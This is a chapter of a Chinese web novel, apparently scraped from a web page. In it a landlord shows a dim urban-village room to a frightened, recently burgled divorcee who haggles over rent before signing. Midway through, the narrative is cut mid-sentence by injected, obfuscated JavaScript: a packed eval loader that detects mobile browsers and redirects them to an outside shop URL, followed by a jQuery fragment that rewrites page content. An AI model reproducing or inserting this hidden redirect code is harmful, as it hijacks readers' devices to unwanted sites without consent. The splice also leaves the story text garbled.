李琳刚面试回来，就接到了电话。


    电话那头是个中年女人的声音，语速快得像急着往外倒豆子：“房东是吗？我看到你发的招租信息，单间还有吗？我现在就在村里，能马上来看房吗？”


    “有。”李琳看了眼时间，下午五点半，“你在哪里？”


    “我就在石陂横五街路口！那个……陈记便利店门口！”背景音里隐约有车流声和便利店的电子提示音，“穿红色羽绒服的就是我！”


    李琳挂掉电话，从抽屉里取出钥匙串，走到窗边往下看——巷口确实有个红色身影在便利店门前徘徊，不时抬头张望。


    她走到便利店门口，掏出手机回拨过去。铃声刚响了一声，不远处那个穿红色羽绒服的女人立刻转过身来。


    她看起来四十出头，身形微胖，齐肩的头发烫着细密的小卷。脸上带着长途奔波后的疲惫，面色有些发黄，可那双眼睛却亮得过分，像两簇烧着的、不安的火。


    “你就是房东？哎呀太好了！”


    她几乎是小跑着凑过来，“我叫江琴，长江的江，钢琴的琴。刚从老家过来，前几天才到广府，找房子找得我头都大了……


    你是本地人吧？看着就像。广府话我只会听一点点，讲不来的。我以前在苏杭那边做跟单，做了十几年，今年……唉，朋友介绍到这边厂里试试。”


    她的话又密又急，几乎不给李琳插嘴的空隙，她一边说还一边不停的地拉拽背包带。


    李琳点了点头，示意房子方向：“我叫李琳，房子在那边三号楼。”


    她转身带路，示意对方跟上，带着她进了三号楼院门。


    “好，好。”江琴跟在她后面，声音在狭窄的门厅里嗡嗡作响，“李琳，这名字好听。


    你家房子采光都怎么样呀？隔音好不好？我睡觉特别轻，一点动静都不行，真的，隔壁翻个身我都能醒……”她自顾自地说下去，仿佛这些话已经憋了太久。


    “现在空着的单间，采光都差不多，不算好。”李琳保持着一步之遥走在她前面，语气平静地介绍，“要不先看看二楼吧，203和205户型一样，205不靠楼梯口，理论上隔音会稍微好一点。”


    两人在二楼停下。李琳打开205的房门。


    房间和105面积相仿，同样狭窄的过厅连接着卧室，一扇大窗户被对面楼的窗户堵了个严实，即便是在白天，室内也昏沉沉的，需要开灯才能看清。


    李琳按亮屋顶的节能灯，冷白的光线瞬间铺满房间，也让窗外那扇近在咫尺的窗户更加清晰。“这间月租四百，押一付一。水五块一吨，电一块二一度。”


    江琴快步走进去，先瞥了一眼窗外，眉头立刻拧紧了，嘴里嘀咕：“这么暗啊……”但下一秒，她的注意力就全被那扇厚重的防盗门吸引了过去。


    她快步走到门边，仔细摸着锁具，反复按动那个粗大的手动反锁插销，又来回转动门把手，听着锁舌“咔嗒、咔嗒”的声音。


    每一声“咔嗒”，都让她紧绷的肩膀微微松弛一分。


    “这房子……隔音到底怎么样？”


    她转过身，目光却不敢和李琳对视，游离在天花板和墙壁之间，手又开始下意识地拉拽她的斜挎包。


    “我真的一点声音都受不了，晚上心慌，整夜睡不着觉，比白天还累……”


    “握手楼，隔音都不好。”


    李琳实话实说，“楼上走路、隔壁用水、楼下说话，基本都能听见。半夜有人回来，开关门、上楼梯的声音也很清楚。”


    江琴的脸色明显白了，眼底的慌乱几乎要溢出来。“一点……一点隔音好的都没有了吗？”


    她的声音发着抖，目光却又不自觉地瞟向那扇结实的门。


    “没有了，一楼更暗。”


    江琴沉默了几秒，呼吸有些急促。忽然，她抬起头，语速更快了，像是必须一口气说完：“房租能便宜点吗？我……我离婚了。”她扯出一个僵硬的笑，“去年的事情。


    他搞掉了我的工作。


    后来租的房子，晚上的睡觉时候被人撬门进来。我的首饰和现金全被偷光了……案子到现在也没破。”


    她顿了顿，喉咙吞咽了一下，“从那以后，我……睡不踏实，听见一点动静就睁眼到天亮，总觉得门会被人从外打开。”


    她的目光死死黏在门插销上，声音低下去，带着恳求：“我看你这门……挺结实。


    广府的新工作，厂里说先试工三个月，我也不知道能不能做长……


    我没什么钱了。房东，便宜五十行吗？就五十。”


    李琳安静地听完。


    在租客众多的城中村里，类似的故事她听过很多不同的版本。


    她看着对方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225947|197104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼底的阴影和无法控制的轻轻颤抖的手，语气平静但直接：


    “这房子是我帮亲戚代管的，价格我动不了。”


    她顿了顿，又补充道：“而且，神经衰弱真的不适合住这里。晚上十一二点还有人下班回来，早上三四点送菜车、清洁工就开始了。隔壁楼的声音清清楚楚。”


    “我知道，我知道吵……”


    江琴连连点头，眼神却固执地飘向房门，“可我没得选了。别的地方我都问过，安静点的都要六七百，我现在租不起……


    至少你们这门，让我觉得……


    安全点。”


    最后三个字，她说得很轻，像在自言自语。


    “村里靠里面的横八街、横九街，那边虽然偏一点但是有独栋带院的，房子新，修得好，相对安静。你可以去看看。”


    江琴苦笑了一下，那笑容短促而无力：“看过了。都要六百以上，太贵了。”


    她垂下眼睛，声音轻得像哀求，“美女，我就想有个地方能躺下，能合眼就行……便宜一点，好吗？”


    李琳看着她。


    她的语气里有种被逼到绝境的麻木，也有不顾一切的渴望。


    “房租真少不了。”李琳的手扶上门框，“要不，你去隔壁村再看看？”


    “我租！就这间！”江琴几乎喊出来，伸手虚拦了一下门，生怕李琳离开，“我租下了！”


    “押一付一，八百。合同要签，条款看清楚。”


    李琳看着她，特别强调，“有一条：城中村隔音差，邻里互相影响难免。你不能因为神经衰弱，就去和邻居吵架。如果因噪音问题起冲突，我有权要求你退租，押金不退。”


    江琴愣了一下：“可要是别人吵我呢……”


    “我会去协调，但协调不等于一定能解决。”李琳说得直白，“有些声音是城中村不可避免的，你现在反悔还来得及。”


    江琴像是被这句话刺了一下，她再次环顾这昏暗逼仄的房间，对面那堵巨大的灰墙仿佛压在她的胸口，她本能地缩了缩肩膀。她盯着那扇带插销的门，看了好几秒，然后像是用尽最后力气，声音嘶哑却异常清晰：


    “我租。我不吵架……我没力气吵了。”她扯了扯嘴角，眼底是一片浓得化不开的黑，


    “我就想关上门，一个人待着。能睡四五个小时……就知足了。”